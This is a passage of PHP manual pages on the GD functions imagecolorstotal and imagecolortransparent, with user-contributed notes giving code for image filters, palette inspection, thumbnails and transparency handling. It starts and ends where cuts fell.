will only work for truecolor images. With eg GIF images, this will have strange results. For GIF images, you should always use imagecolorsforindex().
derek at idreams dot co dot uk 30-Nov-2007 12:45
The earlier microsoft sepia example seemed to have a factor in which made it pinky... here is a modified example which uses just the Microsoft sepia (as per the wiki sepia entry)

<?
function imagetosepia(&$img) {
  if (!($t = imagecolorstotal($img))) {
    $t = 256;
    imagetruecolortopalette($img, true, $t);
  }
  $total = imagecolorstotal( $img );
  for ( $i = 0; $i < $total; $i++ ) {
    $index = imagecolorsforindex( $img, $i );
    $red = ( $index["red"] * 0.393 + $index["green"] * 0.769 + $index["blue"] * 0.189 );
    $green = ( $index["red"] * 0.349 + $index["green"] * 0.686 + $index["blue"] * 0.168 );
    $blue = ( $index["red"] * 0.272 + $index["green"] * 0.534 + $index["blue"] * 0.131 );
    if ($red > 255) { $red = 255; }
    if ($green > 255) { $green = 255; }
    if ($blue > 255) { $blue = 255; }
    imagecolorset( $img, $i, $red, $green, $blue );
  }
}
?>
joe dot scylla at gmail dot com 28-Nov-2007 06:35
While it's quite easy and intuitive to get the alpha transparency of a pixel with:

<?php
$rgba     = imagecolorsforindex($image, imagecolorat($image, $x, $y));
$alpha     = $rgba["alpha"];
?>

you should use the return value of the command imagecolorat to get the alpha transparency with the code below because it's much faster and will have a major impact if you process every pixel of an image:

<?php
$rgba     = imagecolorat($image, $x, $y);
$alpha     = ($rgba & 0x7F000000) >> 24;
?>
tim at leethost dot com 09-Sep-2007 10:01
Here's a better grayscale, sepia, and general tinting function.  This function is better because:

1) Works with true color images (the other sepia code didn't).
2) Provides a more gooder grayscale conversion (yes, I said "more gooder").  The other grayscale code used imagetruecolortopalette, which just doesn't work well for grayscale conversion.
3) The other sepia code was really colorful, a little too much for my taste.  This function allows you to optionally set the tinting of the grayscale to anything you wish.
4) Single function for grayscale, sepia, and any other tinting you can dream up.

Here's some examples:

imagegrayscaletint ($img);  // Grayscale, no tinting
imagegrayscaletint ($img,304,242,209);  // What I use for sepia
imagegrayscaletint ($img,0,0,255);  // A berry blue image

The RGB values for tinting are normally from 0 to 255.  But, you can use values larger than 255 to lighten and "burn" the image.  The sepia example above does this a little, the below example provides a better example of lightening the image and burning the light areas out a little:

imagegrayscaletint ($img,400,400,400);  // Lighten image
imagegrayscaletint ($img,127,127,127);  // Darken image

<?
function imagegrayscaletint (&$img, $tint_r = 255, $tint_g = 255, $tint_b = 255) {
  $width = imagesx($img); $height = imagesy($img);
  $dest = imagecreate ($width, $height);
  for ($i=0; $i<256; $i++) imagecolorallocate ($dest, $i, $i, $i);
  imagecopyresized ($dest, $img, 0, 0, 0, 0, $width, $height, $width, $height);
  for ($i = 0; $i < 256; $i++) imagecolorset ($dest, $i, min($i * abs($tint_r) / 255, 255), min($i * abs($tint_g) / 255, 255), min($i * abs($tint_b) / 255, 255));
  $img = imagecreate ($width, $height);
  imagecopy ($img, $dest, 0, 0, 0, 0, $width, $height);
  imagedestroy ($dest);
}
?>
slepichev at yahoo dot com 06-Sep-2007 03:50
If you would like to change the intensity or lightness level of a specific color, you will need to convert the color format from RGB to HSL.
following function convert RGB array(red,green,blue) to HSL array(hue, saturation, lightness)
<?php
/**
 * Convert RGB colors array into HSL array
 *
 * @param array $ RGB colors set
 * @return array HSL set
 */
 function rgb2hsl($rgb){

     $clrR = ($rgb[0] / 255);
     $clrG = ($rgb[1] / 255);
     $clrB = ($rgb[2] / 255);

     $clrMin = min($clrR, $clrG, $clrB);
     $clrMax = max($clrR, $clrG, $clrB);
     $deltaMax = $clrMax - $clrMin;

     $L = ($clrMax + $clrMin) / 2;

     if (0 == $deltaMax){
         $H = 0;
         $S = 0;
         }
    else{
         if (0.5 > $L){
             $S = $deltaMax / ($clrMax + $clrMin);
             }
        else{
             $S = $deltaMax / (2 - $clrMax - $clrMin);
             }
         $deltaR = ((($clrMax - $clrR) / 6) + ($deltaMax / 2)) / $deltaMax;
         $deltaG = ((($clrMax - $clrG) / 6) + ($deltaMax / 2)) / $deltaMax;
         $deltaB = ((($clrMax - $clrB) / 6) + ($deltaMax / 2)) / $deltaMax;
         if ($clrR == $clrMax){
             $H = $deltaB - $deltaG;
             }
        else if ($clrG == $clrMax){
             $H = (1 / 3) + $deltaR - $deltaB;
             }
        else if ($clrB == $clrMax){
             $H = (2 / 3) + $deltaG - $deltaR;
             }
         if (0 > $H) $H += 1;
         if (1 < $H) $H -= 1;
         }
     return array($H, $S, $L);
     }
?>
admin at phpgfx dot com 26-Aug-2007 09:54
this is a sepia filter using microsoft's definition

<?php

function imagesepia( $img ) {
    $total = imagecolorstotal( $img );
    for ( $i = 0; $i < $total; $i++ ) {
        $index = imagecolorsforindex( $img, $i );
        $red = ( $index["red"] * 0.393 + $index["green"] * 0.769 + $index["blue"] * 0.189 ) / 1.351;
        $green = ( $index["red"] * 0.349 + $index["green"] * 0.686 + $index["blue"] * 0.168 ) / 1.203;
        $blue = ( $index["red"] * 0.272 + $index["green"] * 0.534 + $index["blue"] * 0.131 ) / 2.140;
        imagecolorset( $img, $i, $red, $green, $blue );
    }
}

?>
adspeed.com 23-Aug-2005 04:05
To correct m4551 at abasoft dot it example:

ImageTrueColorToPalette($im,1,$t);

might give less colors than $t, so the for loop should call "$i<ImageColorsTotal($im)" instead of "$i<$t" just to be sure, or you'll get the warning: Color index [0-9] out of range
strozek(a)deas()harvard()edu 25-Jun-2004 01:32
Regarding m4551's method of conversion -- the actual CCIR-approved RGB-to-grayscale conversion is as follows:

grayscale component = 0.2125*R + 0.7154*G + 0.0721*B

(cf. CCIR Recommendation 709 for modern monitors)
m4551 at abasoft dot it 23-Apr-2004 09:23
here's a function to greyscale an image even from a truecolor source (jpeg or png).

slightly poor quality, but very fast...

function imagegreyscale(&$img, $dither=1) {
    if (!($t = imagecolorstotal($img))) {
        $t = 256;
        imagetruecolortopalette($img, $dither, $t);
    }
    for ($c = 0; $c < $t; $c++) {
        $col = imagecolorsforindex($img, $c);
        $min = min($col['red'],$col['green'],$col['blue']);
        $max = max($col['red'],$col['green'],$col['blue']);
        $i = ($max+$min)/2;
        imagecolorset($img, $c, $i, $i, $i);
    }
}
imagecolorset
imagecolorstotal
GD and Image Functions


Find out the number of colors in an image's palette

imagecolorsforindex
imagecolortransparent
GD and Image Functions
PHP Manual

imagecolorstotal

(PHP 4, PHP 5)

imagecolorstotal — Find out the number of colors in an image's palette

Description

int imagecolorstotal ( resource $image )

Returns the number of colors in an image palette.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatefromgif().

Return Values

Returns the number of colors in the specified image's palette or 0 for truecolor images.

Examples

Example #1 Getting total number of colors in an image using imagecolorstotal()

<?php
// Create image instance
$im = imagecreatefromgif('php.gif');

echo 'Total colors in image: ' . imagecolorstotal($im);

// Free image
imagedestroy($im);
?>

The above example will output something similar to:

Total colors in image: 128

See Also

  • imagecolorat() - Get the index of the color of a pixel
  • imagecolorsforindex() - Get the colors for an index
  • imageistruecolor() - Finds whether an image is a truecolor image

User Contributed Notes

bisqwit at iki dot fi 27-Apr-2007 08:07
This code shows the palettes for all .gif files in the current working directory. (Output is HTML.)
<?php
print '<pre>';
foreach(glob('*.gif') as $src_fn)
{
  $im2 = ImageCreateFromGif($src_fn);

  echo '<a href="',htmlspecialchars($src_fn),'">';
  print sprintf('%-30s', $src_fn);
  echo '</a>';

  $cc = ImageColorsTotal($im2);
  for($n=0; $n<$cc; ++$n)
  {
    $c = ImageColorsForIndex($im2, $n);
    print
      sprintf('<span style="background:#%02X%02X%02X">&nbsp;</span>',
       $c['red'], $c['green'], $c['blue']);
  }
  ImageDestroy($im2);
  print "\n";
}
print '</pre>';
?>
black-eye at web dot de 01-Nov-2003 07:34
I created a function to count the colors in a .gif file automatically. Works perfect on Win2k Servers

<?PHP
function bildinfo($bild)
{
/*
******* FUNCTION BILDINFO() ******* ******* ******* *******
******* ******* ******* ******* ******* ******* ******* *******
******* Copyright 2003 by www.BLACKEYE.org ******* *******
******* ******* ******* ******* ******* ******* ******* *******
Please don't change the copyright in this file. You can modify
this file, but NEVER remove the copyright !
If YOU were the creator of this function, you would say the
same, eh ? :)

For more informations / How to use:
HOMEPAGE: www.blackeye.org
******* ******* ******* ******* ******* ******* ******* *******
*/
$fp = fopen($bild, "rb"); // Open image in binary mode (for windows)
$f = fread($fp, filesize($bild));
$c = bin2hex($f); // Binary file -> Hex
$c = ereg_replace("5c30", "0000", $c); // In gif-files "5c30" stands for real "00" values. why ? i dont know
$b = $c;

$pos = strpos($c, "fe0102"); // 6 Byte termination for the color table
if ($pos > 0)
{
$c = substr($c, 26);
$c = substr($c, 0, strpos($c, "fe0102")); // Termination for the color table of non-transparent images
}
else
{
$c = substr($c, 26);
$c = substr($c, 0, strpos($c, "21f904")); // Termination for the color table
}

echo "<table border='0'>";

$i = 0;
$y = 0;
$str = "";
$pix = chunk_split($c, 6, ";"); // 6 Char long block (color)
$pix = explode(";",$pix);
sort($pix);
foreach($pix as $col)
{
if ($col && !ereg($col.";", $str) && strlen($col) == 6) // So that no color is twice in the list
{
$str .= $col.";";
$i++; // Für die Table anzeige
$y++; // Anzahl Farben
if ($i == 1) { echo ""; }
echo "<td width='6' height='8' bgcolor='#$col' style='border:1px solid #000000;font-size:1px;' title='©2003 by www.BLACKEYE.org'>";
echo " ";
echo "</td>";
if ($i == 10)
{
echo ""; $i = 0;
}
}
}

echo "</table>";
echo $y." visible colors";
}

$bild = ""; // Imagefile
bildinfo($bild);
?>
Only copy & paste this text into your .php file, where you want to show the image.
imagecolorsforindex
imagecolortransparent
GD and Image Functions


Define a color as transparent

imagecolorstotal
imageconvolution
GD and Image Functions
PHP Manual

imagecolortransparent

(PHP 4, PHP 5)

imagecolortransparent — Define a color as transparent

Description

int imagecolortransparent ( resource $image [, int $color ] )

Sets the transparent color in the given image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

color

A color identifier created with imagecolorallocate().

Return Values

The identifier of the new (or current, if none is specified) transparent color is returned.

Examples

Example #1 imagecolortransparent() example

<?php
// Create a 55x30 image
$im = imagecreatetruecolor(55, 30);
$red = imagecolorallocate($im, 255, 0, 0);
$black = imagecolorallocate($im, 0, 0, 0);

// Make the background transparent
imagecolortransparent($im, $black);

// Draw a red rectangle
imagefilledrectangle($im, 4, 4, 50, 25, $red);

// Save the image
imagepng($im, './imagecolortransparent.png');
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : imagecolortransparent()

Notes

Note:

Transparency is copied only with imagecopymerge() and true color images, not with imagecopy() or pallete images.

Note:

The transparent color is a property of the image, transparency is not a property of the color. Once you have set a color to be the transparent color, any regions of the image in that color that were drawn previously will be transparent.

User Contributed Notes

john at jbwalker dot com 23-Jan-2012 08:42
A transparent background with text doesn't seem to work very well because of the antialiasing . But I tried the following kluge and it turned out very well:

   $im = imagecreatetruecolor(100,20);
   $almostblack = imagecolorallocate($im,254,254,254);
   imagefill($im,0,0,$almostblack);
   $black = imagecolorallocate($im,0,0,0);
   imagecolortransparent($im,$almostblack);
   ... set x and y..
   imagettftext($im,8,0,$x,$y,$black,"calibri.ttf",$txt);
email at vladislav dot net 22-Jun-2011 02:42
Pay attention, that some GIF images may not include a transparent color. A good example of forced transparency in resized GIF image was given by markglibres at yahoo dot com 29-Mar-2009 02:48. But sometimes the transparent color in GIF images can be not set. The problem is, that the color you force to be transparent can be used in the original GIF as opaque and you will loose that color in resized image. The solution is not to use some default transparent color and to leave the resized image without transparent color (the same as original GIF). I used (nearly) the following code to make resized GIF images trnsparent  only when the transparency is needed:

<?php
/* ... */

$img = ImageCreateFromGIF($f); /* create image from existing GIF: original image file name $f you may take from where you need */
$transparent_index = ImageColorTransparent($img); /* gives the index of current transparent color or -1 */
if($transparent_index!=(-1)) $transparent_color = ImageColorsForIndex($img,$transparent_index);

/* ... */

$img_resized = ImageCreateTrueColor( $nw, $nh ); /* (the new width $nw and height $nh must be defined before) */
if(!empty($transparent_color)) /* simple check to find wether transparent color was set or not */
{
    $transparent_new = ImageColorAllocate( $img_resized, $transparent_color['red'], $transparent_color['green'], $transparent_color['blue'] );
    $transparent_new_index = ImageColorTransparent( $img_resized, $transparent_new );
    ImageFill( $img_resized, 0,0, $transparent_new_index ); /* don't forget to fill the new image with the transparent color */
}
list($w,$h) = GetImageSize($f); /* defines the original width $w and height $h */
if( ImageCopyResized( $img_resized, $img, 0,0, 0,0, $nw,$nh, $w,$h ) ) /* resized copying and replacing the original image */
{
    ImageDestroy($img);
    $img = $img_resized;
}

/* ... */

header('Content-Type: image/gif');
ImageGIF($img);
ImageDestroy($img);
?>

P.S.
If there some errors, I hope you could understood the idea.
admin at fastproxyservers dot org 30-Sep-2010 09:00
I would like to share with others how to make PNG image transparent. I have tried almost all examples described on that page but none of them work for me. Finally I found the solution, but there is a bit cheating :) but who cares if it works?

So when I tried to allocate white (as an example) color as a transparent, it worked randomly (lets say 1 in 10 examples). That in turn pushed me to the idea that the problem is that white color is already exist in color palette. So if I try to add another white color with DIFFERENT index as a transparent, that will cause error.

So I found the solution, instead of adding new index, I searched for the white color’s index in the color palette and made it defined as transparent :) The best idea is to use not a white but left bottom corner as transparent color (I guess that s standard for some other software languages).

<?php
$index = imagecolorexact($this->image, 255, 255, 255);
imagecolortransparent($this->image, $index);
?>

All you need is to add that two lines before outputting your result.
ajamal 22-May-2009 06:06
This might be of importance to newbies...If you are trying to create GIF's with transparencies, stick to the 216 colour pallet for all colours on the image... or transparencies wont work...at the very least yo will get dithering...
markglibres at yahoo dot com 29-Mar-2009 06:48
I've made a very simple script that will retain transparency of images especially when resizing.

NOTE: Transparency is only supported on GIF and PNG files.

Parameters:

$new_image = image resource identifier such as returned by imagecreatetruecolor(). must be passed by reference
$image_source = image resource identifier returned by imagecreatefromjpeg, imagecreatefromgif and imagecreatefrompng. must be passed by reference

<?php
function setTransparency($new_image,$image_source)
    {

            $transparencyIndex = imagecolortransparent($image_source);
            $transparencyColor = array('red' => 255, 'green' => 255, 'blue' => 255);

            if ($transparencyIndex >= 0) {
                $transparencyColor    = imagecolorsforindex($image_source, $transparencyIndex);
            }

            $transparencyIndex    = imagecolorallocate($new_image, $transparencyColor['red'], $transparencyColor['green'], $transparencyColor['blue']);
            imagefill($new_image, 0, 0, $transparencyIndex);
             imagecolortransparent($new_image, $transparencyIndex);

    }
?>

Sample Usage: (resizing)

<?php
$image_source = imagecreatefrompng('test.png');
$new_image = imagecreatetruecolor($width, $height);
setTransparency($new_image,$image_source);
imagecopyresampled($new_image, $image_source, 0, 0, 0, 0, $new_width, $new_height, $old_width, $old_height);
?>
designovermatter at gmail dot com 13-Jan-2009 04:03
I was searching for a PHP code that makes transparent rounded corners and found none. So had to write my own:

<?php

$image = "v.png";
$corner = 40;

file_exists($image) or die("No such file: ".$image); //check if image exists before processing

$dim = getimagesize($image);

//create from type handle
if($dim[2] == 1) $new = imagecreatefromjpeg($image);
elseif($dim[2] == 2) $new = imagecreatefromgif($image);
elseif($dim[2] == 3) $new = imagecreatefrompng($image);
else die("Unsupported format: ".$dim[2]);

//find colorcode
$palette = imagecreatetruecolor($dim[0], $dim[1]);
$found = false;
while($found == false) {

    $r = rand(0, 255);
    $g = rand(0, 255);
    $b = rand(0, 255);

    if(imagecolorexact($new, $r, $g, $b) != (-1)) {

        $colorcode = imagecolorallocate($palette, $r, $g, $b);
        $found = true;

    }

}

//draw corners
imagearc($new, $corner-1, $corner-1, $corner*2, $corner*2, 180, 270, $colorcode);
imagefilltoborder($new, 0, 0, $colorcode, $colorcode);

imagearc($new, $dim[0]-$corner, $corner-1, $corner*2, $corner*2, 270, 0, $colorcode);
imagefilltoborder($new, $dim[0], 0, $colorcode, $colorcode);

imagearc($new, $corner-1, $dim[1]-$corner, $corner*2, $corner*2, 90, 180, $colorcode);
imagefilltoborder($new, 0, $dim[1], $colorcode, $colorcode);

imagearc($new, $dim[0]-$corner, $dim[1]-$corner, $corner*2, $corner*2, 0, 90, $colorcode);
imagefilltoborder($new, $dim[1], $dim[1], $colorcode, $colorcode);

imagecolortransparent($new, $colorcode); //make corners transparent

//display rounded image
header("Content: image/png");
imagepng($new);
imagedestroy($new);

?>

It draws an arc and fills to border with a colorcode - a color that doesnot exist in current image, to make it transparent in the end.
steved at HaHaHa dot com dot au 24-Oct-2008 10:28
How to center your text both vertically and horizontally in a GD image:

<?php
//get box size
$box = imagettfbbox($titlesize, 0, $titlefont, $title);

//Find out the width and height of the text box
$textW = $box[2] - $box[0];
$textH = $box[5] - $box[3];

// Calculate the positions
$positionLeft = ($width - $textW)/2;
$positionTop = (($height - $textH)/2);

// Add some text
if($align=="center"){
imagettftext($pic, size, angle, $positionLeft, $positionTop, colour, font, message);
?>
cca220v 11-Sep-2008 02:47
I found out the hard way that for two png's with alpha transparency to correctly stack you need to explicitly re-enable alpha blending.

$img=imagecreatetruecolor($dx,$dy);
$img1=imagecreatefrompng($png1); //first layer
$img2=imagecreatefrompng($png2); //second layer (smaller image)

imagealphablending($img, false);
$transparent = imagecolorallocatealpha($img, 0, 0, 0, 127);
imagefill($img, 0, 0, $transparent);
imagesavealpha($img,true);
imagealphablending($img, true); //removing this causes the second layer's transparency to go trough the 1st layer erasing it (the image >is< transparent there ... as is the 2nd layer ... but not the 1st so it should not be transparent)

imagecopyresampled($img,$img1,
imagecopyresampled($img,$img2,
yousuf at philipz dot com 01-Apr-2008 11:45
Well 8-bit gif and png files can have multiple transparent colors, so detecting the transparent color by manually looking into the file or using imagecolortransparent and using the detected rgb color as the background color when imagecopy'ing (or other image copying functions) on a true color image will not work. The only means of getting the transparent pixels to appear is to copy the pixel colors one by one to a new true color image. Here's some code i wrote to do this.

$original_image = @imagecreatefromgif( $original_image_file );

$original_image_width = imagesx( $original_image );
$original_image_height = imagesy( $original_image );

if ( !imageistruecolor($original_image) ) {
   # detects if its non-true color image
   if ( imagecolortransparent($original_image) >= 0 ) {
      # detects if any of the color palette has been set to transparent
      $truecolor = imagecreatetruecolor( $original_image_width, $original_image_height );
      for ($x = 0; $x < $original_image_width; $x++) {
         for ($y = 0; $y < $original_image_height; $y++) {
            $color_index = ImageColorAt($original_image, $x, $y);
            if ( !$color_palette[$color_index] ) {
               $rgb = imagecolorsforindex($original_image, $color_index);
               $color_to_set = imagecolorallocate($truecolor, $rgb['red'], $rgb['green'], $rgb['blue']);
               $color_palette[$color_index] = $color_to_set;
            } else {
               $color_to_set = $color_palette[$color_index];
            }
            imagesetpixel($truecolor, $x, $y, $color_to_set);
         }
      }
      imagedestroy($original_image);
      $original_image = $truecolor;
   }
}
kroccamen, gmail 27-Mar-2008 05:56
Sorry, below should be:

<?php
$is_alpha = ord (file_get_contents ($file_path, false, null, 25, 1)) & 4;
?>

much better :)
Both types 4 (greyscale transparent png), and 6 (colour transparent png) have bit 4 set, so there's no need to bitwise twice and there's no need for == as the return value will be 4 or 0, which is easily interpreted as true or false elsewhere in your code.

note: file_get_contents isn't reading the whole file in this instance, just 1 byte on its own and that's it, so you can be assured this is fast and safe.
kroccamen, gmail 25-Mar-2008 04:44
@wesley gunn:
Thank you very, very much for the code to determine if a PNG is 24 or 32-bit :)
Here's an improved version in one line without using a file-handle

<?php
$is_alpha = ((ord (
    file_get_contents ($filename, false, null, 25, 1)
) & 6) & 4) == 4;
?>

Gives true for a PNG with alpha, false otherwise.
This cannot detect 8-bit PNGs with transparency, but you could do that by searching the file contents for the presence of "PLTE" *AND* "tRNS".
tomas at cimax dot com 10-Mar-2008 12:19
On some versions you must set the index number of that color in color pallete rather than the color! So if you allocate color with imagecolorallocate, that this color gets 0 index on color pallete so than you must call: imagecolortransparent ( resource $image , 0 ) to make the image transparent!
Anonymous 28-Feb-2008 02:52
I came across some images that have transparent color allocated even if they don't have any transparent pixels (transparent color is unused).
fmkaiba at optonline dot net 07-Feb-2008 08:05
This is my 'perfect' (i use that word lightly) thumbnail generation script, switch '$transparency' to true to have it do its best to handle transparency in gifs and pngs. this code is built off of comments and advice of everyone else here, and i do not deserve full credit. So far this handles every error i can throw at it.
<?php
function createthumb($name, $newname, $new_w, $new_h, $border=false, $transparency=true, $base64=false) {
    if(file_exists($newname))
        @unlink($newname);
    if(!file_exists($name))
        return false;
    $arr = split("\.",$name);
    $ext = $arr[count($arr)-1];

    if($ext=="jpeg" || $ext=="jpg"){
        $img = @imagecreatefromjpeg($name);
    } elseif($ext=="png"){
        $img = @imagecreatefrompng($name);
    } elseif($ext=="gif") {
        $img = @imagecreatefromgif($name);
    }
    if(!$img)
        return false;
    $old_x = imageSX($img);
    $old_y = imageSY($img);
    if($old_x < $new_w && $old_y < $new_h) {
        $thumb_w = $old_x;
        $thumb_h = $old_y;
    } elseif ($old_x > $old_y) {
        $thumb_w = $new_w;
        $thumb_h = floor(($old_y*($new_h/$old_x)));
    } elseif ($old_x < $old_y) {
        $thumb_w = floor($old_x*($new_w/$old_y));
        $thumb_h = $new_h;
    } elseif ($old_x == $old_y) {
        $thumb_w = $new_w;
        $thumb_h = $new_h;
    }
    $thumb_w = ($thumb_w<1) ? 1 : $thumb_w;
    $thumb_h = ($thumb_h<1) ? 1 : $thumb_h;
    $new_img = ImageCreateTrueColor($thumb_w, $thumb_h);

    if($transparency) {
        if($ext=="png") {
            imagealphablending($new_img, false);
            $colorTransparent = imagecolorallocatealpha($new_img, 0, 0, 0, 127);
            imagefill($new_img, 0, 0, $colorTransparent);
            imagesavealpha($new_img, true);
        } elseif($ext=="gif") {
            $trnprt_indx = imagecolortransparent($img);
            if ($trnprt_indx >= 0) {
                //its transparent
                $trnprt_color = imagecolorsforindex($img, $trnprt_indx);
                $trnprt_indx = imagecolorallocate($new_img, $trnprt_color['red'], $trnprt_color['green'], $trnprt_color['blue']);
                imagefill($new_img, 0, 0, $trnprt_indx);
                imagecolortransparent($new_img, $trnprt_indx);
            }
        }
    } else {
        Imagefill($new_img, 0, 0, imagecolorallocate($new_img, 255, 255, 255));
    }

    imagecopyresampled($new_img, $img, 0,0,0,0, $thumb_w, $thumb_h, $old_x, $old_y);
    if($border) {
        $black = imagecolorallocate($new_img, 0, 0, 0);
        imagerectangle($new_img,0,0, $thumb_w, $thumb_h, $black);
    }
    if($base64) {
        ob_start();
        imagepng($new_img);
        $img = ob_get_contents();
        ob_end_clean();
        $return = base64_encode($img);
    } else {
        if($ext=="jpeg" || $ext=="jpg"){
            imagejpeg($new_img, $newname);
            $return = true;
        } elseif($ext=="png"){
            imagepng($new_img, $newname);
            $return = true;
        } elseif($ext=="gif") {
            imagegif($new_img, $newname);
            $return = true;
        }
    }
    imagedestroy($new_img);
    imagedestroy($img);
    return $return;
}
//example useage
createthumb("img.gif", "tn_img.gif", 64,64,true, true, false);
?>
wesley dot gunn at email dot it 13-Nov-2007 09:27
a simple way to check png with alpha channel reading IHDR PNG HEADER

$readPng =    fopen    ($argSourceImagePath, "rb");
$readAlp =    fread    ($readPng, 52);
            fclose    ($readPng);

if(substr(bin2hex($readAlp),50,2) == "04" || substr(bin2hex($readAlp),50,2) == "06")
echo("Png has alpha");
Rob 09-Oct-2007 07:55
This block of code should preserve transparency when resizing an image using the GD library.

<?php
/**
 * Try to preserve transparency info
 * $orig_type - Original Image Type
 * $orig_img  - GD Image Resource for original image
 * $new_img   - GD Image Resource for resized image
 */

// Transparency only available for GIFs & PNGs
if ( ($orig_type == IMAGETYPE_GIF) || ($orig_type == IMAGETYPE_PNG) ) {
    $trnprt_indx = imagecolortransparent($orig_img);

    // If we have a specific transparent color
    if ($trnprt_indx >= 0) {

        // Get the original image's transparent color's RGB values
        $trnprt_color    = imagecolorsforindex($orig_img, $trnprt_indx);

        // Allocate the same color in the new image resource
        $trnprt_indx    = imagecolorallocate($new_img, $trnprt_color['red'], $trnprt_color['green'], $trnprt_color['blue']);

        // Completely fill the background of the new image with allocated color.
        imagefill($new_img, 0, 0, $trnprt_indx);

        // Set the background color for new image to transparent
        imagecolortransparent($new_img, $trnprt_indx);

    // Always make a transparent background color for PNGs that don't have one allocated already
    } elseif ($orig_type == IMAGETYPE_PNG) {

        // Turn off transparency blending (temporarily)
        imagealphablending($new_img, false);

        // Create a new transparent color for image
        $color = imagecolorallocatealpha($new_img, 0, 0, 0, 127);

        // Completely fill the background of the new image with allocated color.
        imagefill($this->new_img, 0, 0, $color);

        // Restore transparency blending
        imagesavealpha($this->new_img, true);
    }
}
?>
kevinoe at gmail 11-Sep-2007 01:39
To resize a transparent image into a thumbnail while keeping its transparency. The quality of the thumbnail is pretty bad though.. but it is transparent.

$image = ImageCreateFromGIF('transparentimage.gif');
$img_width = ImagesX($image);
$img_height = ImagesY($image);

$new_width = '100';
$new_height = ($new_width * $img_height) / $img_width;

$resized = imagecreatetruecolor($new_width, $new_height);

$colorTransparent = imagecolortransparent($image);
imagepalettecopy($image, $resized);
imagefill($resized, 0, 0, $colorTransparent);
imagecolortransparent($resized, $colorTransparent);

imagetruecolortopalette($resized, true, 256);

imagecopyresized($resized, $image, 0, 0, 0, 0, $new_width, $new_height, $img_width, $img_height);
Mikasto 15-Aug-2007 04:53
To resize transparent PNG (if image is transparent & ImageColorTransparent() returns -1):
1) create a new image with the new sizes
2) make the new image all transparent
3) turn off the alpha blending for the new image (to keep the alpha channel when copy data)
4) do copyresampled or copyresized into new image

PHP code:
// 1
$im2 = ImageCreateTrueColor($w, $h);
// 2
ImageColorTransparent($im2, ImageColorAllocate($im2, 0, 0, 0));
// 3
ImageAlphaBlending($im2, false);
// 4
ImageCopyResampled($im2, $im, 0, 0, 0, 0, $w, $h, ImageSX($im), ImageSY($im));
erik at vectorsector dot net 13-Jul-2007 09:20
This script creates transparency for a unspecific RBG color for an already created PNG image.  It also includes script of overlay text that does not get ruined in the process.

<?php

header("Content-type: image/png");
$image = imagecreatetruecolor(250, 250);
$string = $_GET['text'];
$im     = imagecreatefrompng("dynIcon.png");
$img = imagecreatetruecolor(16,16);
$orange = imagecolorallocate($im, 220, 210, 60);
$bg_color = imagecolorat($im,1,1);
$px     = (imagesx($im) - 3 * strlen($string)) / 2;
imagecolortransparent($im, $bg_color);
imagestring($im, 3, $px, 5, $string, $orange);
imagepng($im);
imagedestroy($im);

?>

Use $bg_color = imagecolorat($im,1,1); for instance, if you made the transparent color in photoshop by clearing out all the color leaving you with the checkered background showing you it's empty.
cinymini 14-Dec-2006 11:17
When you use palette images (created with imagecreate()), the first color allocated is the background color. This color cannot be used for transparency. So if you want to make the background transparent, first allocate a dummy background color, then allocate the real background color and declare this is as transparent.
glenn at bengeweb dot co dot nz 17-Nov-2006 08:03
in reference to webmaster at webnetwizard dotco dotuk who had a rather complicated method of determining if a GIF had any transparency set ...

imagecolortransparent will return -1 if no transparency is found.

eg:

$transColorIndexMain = imageColorTransparent($mainImgObj);
if ($transColorIndexMain >= 0 ) {
       # GIF has transparency ... ;
}

Current PHP Version: 4.4.4
[GD Version] => bundled (2.0.28 compatible)
Blaine Ehrhart 07-Jul-2006 02:59
This script creates transparency for a specific RBG color for an already created GIF image.
<?php
    $im = imagecreatefromgif('trans.gif');
    $img = imagecreatetruecolor(16,16);
    $trans = imagecolorallocate($img,255,99,140);
    imagecolortransparent($img,$trans);
    imagecopy($img,$im,0,0,0,0,16,16);
    imagetruecolortopalette($img, true, 256);
    imageinterlace($img);
    imagegif($img,'trans.gif');
    imagedestroy($img);
?>
Joachim Kruyswijk 19-Oct-2005 04:20
A negative color number will turn antialiasing off, but even a positive number chosen for transparency may affect antialiasing. If the text (created with imagettftext) in your image looks horrible, try using a higher color number.
contact at wdschools dot com 19-Oct-2005 09:02
Transparent GIF w/ text from TTF Font
-------------------------------------
$image = imagecreatetruecolor(192, 36);
$trans_color = imagecolorallocate($image, 255, 0, 0);
$color = imagecolorallocate($image, 255, 255, 255);
imagecolortransparent($image, $trans_color);
imagettftext($image, 10, 0, 10, 23, $color, "impact.ttf", " MENU ITEM");
imagegif($image, "output.gif");
imagedestroy($image);
ingrid 09-Jun-2005 09:37
This script should take an animated GIF whit a white background transparancy, put some white=transparant text on it, and can be used in any page using the filename and the normal image tags.

Everything works well, exept the animation. The GIF animation stands still. Don't know how to keep the animation  animated. Is it possible in PHP?

<?php

$TextFile = "teller.txt";
$Count = trim(file_get_contents($TextFile));
$FP = fopen($TextFile, "r");
$Count=fgets($FP, 4096);
fclose ($FP);
settype($Count, "integer");
$Count++;
if ($FP = fopen ($TextFile, "w")){
fwrite ($FP, $Count);
fclose ($FP);
}

$image = "blad.gif";
$im    = imagecreatefromgif($image);
$white = imageColorAllocate ($im, 255, 255, 255);
$trans = imagecolortransparent($im,$white);
$hit = "$Count";
$ip = $_SERVER["REMOTE_ADDR"];

ImageString($im, 2, 30, 60,  " je bent bezoeker ", $white);
ImageString($im, 3, 20, 80, " $ip.$hit", $trans);

header("Content-Type: image/gif");
Imagegif($im,'',100);
ImageDestroy ($im);

?>
thomas at nindel dot net 20-Apr-2005 10:02
I wanted to have non-rectangular images being displayed on various website-backgrounds. piece of cake with png-24 and sane browsers, but not with IE. GIF-files are useless since they tend to have ugly edges.

So that's what i came up with, a script to merge a given PNG-24 against a background-image. The script only merges areas of partial transparency (think anti-aliased edges) of the PNG onto the background-image, leaving 100% transparent areas as they are. output is a 256-color gif with transparency.

<?PHP
  function alphaishMerge(&$img_unten, &$img_oben, &$transCol) {
    $sx = imagesx($img_unten);
    $sy = imagesy($img_oben);

    // just be sure
    imagealphablending($img_unten, TRUE);
    imagealphablending($img_oben, TRUE);

    // imagecopy respects alpha channels
    imagecopy($img_unten, $img_oben, 0, 0, 0, 0, $sx, $sy);

    for ($x = 0; $x < $sx; $x++) {
      for ($y = 0; $y < $sy; $y++) {

        // get RGBA of upper image
        $pxloben = imagecolorat($img_oben, $x, $y);
        $pxloben = imagecolorsforindex($img_oben, $pxloben);

